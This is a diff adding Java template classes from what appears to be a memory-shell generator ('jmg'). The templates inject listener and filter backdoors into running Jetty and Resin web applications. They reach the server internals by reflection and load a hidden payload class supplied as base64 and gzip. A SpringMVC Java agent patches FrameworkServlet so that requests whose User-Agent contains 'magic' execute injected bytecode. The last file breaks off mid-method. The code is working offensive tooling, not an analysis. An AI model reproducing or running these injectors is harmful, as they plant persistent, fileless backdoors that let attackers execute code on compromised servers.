||||
@@ -0,0 +1,251 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* tested v7、v8、v9
|
||||
*/
|
||||
public class JettyListenerInjectorTpl {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new JettyListenerInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public JettyListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = getContextClassLoader(thread);
|
||||
if (isWebAppClassLoader(contextClassLoader)) {
|
||||
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||
} else if (isHttpConnection(thread)) {
|
||||
contexts.add(getContextFromHttpConnection(thread));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||
return invokeMethod(thread, "getContextClassLoader");
|
||||
}
|
||||
|
||||
private boolean isWebAppClassLoader(Object classLoader) {
|
||||
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||
}
|
||||
|
||||
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||
Object context = getFV(classLoader, "_context");
|
||||
Object handler = getFV(context, "_servletHandler");
|
||||
return getFV(handler, "_contextHandler");
|
||||
}
|
||||
|
||||
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
return getFV(servletContext, "this$0");
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public static void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static boolean isInjected(Object context, String className) throws Exception {
|
||||
|
||||
try {
|
||||
// jetty v8、 v9
|
||||
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
|
||||
for (int i = 0; i < eventListeners.length; i++) {
|
||||
if (eventListeners[i].getClass().getName().contains(className)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ResinFilterInjectorTpl {
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new ResinFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public ResinFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
if (!isInjected(context, filterClassName)) {
|
||||
try {
|
||||
Class filterMappingClass;
|
||||
try {
|
||||
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
} catch (Exception e) {
|
||||
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
}
|
||||
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
|
||||
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
|
||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern});
|
||||
invokeMethod(urlPattern, "init");
|
||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||
invokeMethod(context, "clearCache");
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
HashSet<Object> visited = new HashSet();
|
||||
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null && visited.add(webApp)) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// Handle exception
|
||||
}
|
||||
return contexts;
|
||||
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ResinListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new ResinListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public ResinListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
injectListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void injectListener(Object context, Object listener) throws Exception {
|
||||
if (!isInjected(context, listener.getClass().getName())) {
|
||||
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||
// 清除缓存,否则某些 uri 无法连接
|
||||
invokeMethod(context, "clearCache");
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
HashSet<Object> visited = new HashSet();
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null && visited.add(webApp)) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return contexts;
|
||||
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
|
||||
for (int i = 0; i < arrayList.size(); i++) {
|
||||
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.IllegalClassFormatException;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.instrument.UnmodifiableClassException;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.List;
|
||||
|
||||
public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||
|
||||
public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
|
||||
public static final String targetMethodName = "service";
|
||||
public String injectHeaderName = "User-Agent";
|
||||
|
||||
public String injectHeaderValue = "magic";
|
||||
|
||||
public String getInjectorCode() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
|
||||
instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
|
||||
for (Class clz : instrumentation.getAllLoadedClasses()) {
|
||||
if (!clz.getName().equals(targetClassName)) continue;
|
||||
instrumentation.retransformClasses(clz);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||
className = className.replace("/", ".");
|
||||
if (className.equals(targetClassName) && classBeingRedefined != null) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
|
||||
String injectorCode = getInjectorCode();
|
||||
String code = String.format("try {\n" +
|
||||
" if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
|
||||
" String injectorCode = \"%s\";\n" +
|
||||
" byte[] byteArray;\n" +
|
||||
" try {\n" +
|
||||
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
|
||||
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
|
||||
" } catch (Throwable e) {\n" +
|
||||
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||
" }\n" +
|
||||
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||
" method.setAccessible(true);\n" +
|
||||
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
" }\n" +
|
||||
" } catch (Exception e) {\n" +
|
||||
" e.printStackTrace();\n" +
|
||||
" }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
|
||||
ctMethod.insertBefore(code);
|
||||
byte[] bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
return new byte[0];
|
||||
}
|
||||
|
||||
private static Class virtualMachineClass;
|
||||
private static Class virtualMachineDescriptorClass;
|
||||
private static List<Object> vms;
|
||||
|
||||
static {
|
||||
try {
|
||||
// 获取 tools.jar 的路径
|
||||
StringBuilder toolsJarPath = new StringBuilder();
|
||||
toolsJarPath.append(System.getProperty("java.home"))
|
||||
.append(File.separator)
|
||||
.append("..")
|
||||
.append(File.separator)
|
||||
.append("lib")
|
||||
.append(File.separator)
|
||||
.append("tools.jar");
|
||||
File toolsJarFile = new File(toolsJarPath.toString());
|
||||
|
||||
// 如果 JDK 目录下没有找到 tools.jar(纯JRE)
|
||||
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
|
||||
// 释放内置的 tools.jar
|
||||
InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
|
||||
toolsJarFile = File.createTempFile("tools", ".jar");
|
||||
|
||||
FileOutputStream out = null;
|
||||
try {
|
||||
out = new FileOutputStream(toolsJarFile);
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, bytesRead);
|
||||
}
|
||||
} finally {
|
||||
if (out != null) {
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Load the VirtualMachine and VirtualMachineDescriptor classes
|
||||
URL url = toolsJarFile.toURI().toURL();
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
|
||||
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
|
||||
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
||||
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
String jvmProcessId = null;
|
||||
if (args.length == 0) {
|
||||
// 列出所有 pid
|
||||
listAllJvmPids();
|
||||
} else {
|
||||
try {
|
||||
Integer.parseInt(args[0]);
|
||||
jvmProcessId = args[0];
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
} catch (NumberFormatException e) {
|
||||
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void listAllJvmPids() throws Exception {
|
||||
for (Object vm : vms) {
|
||||
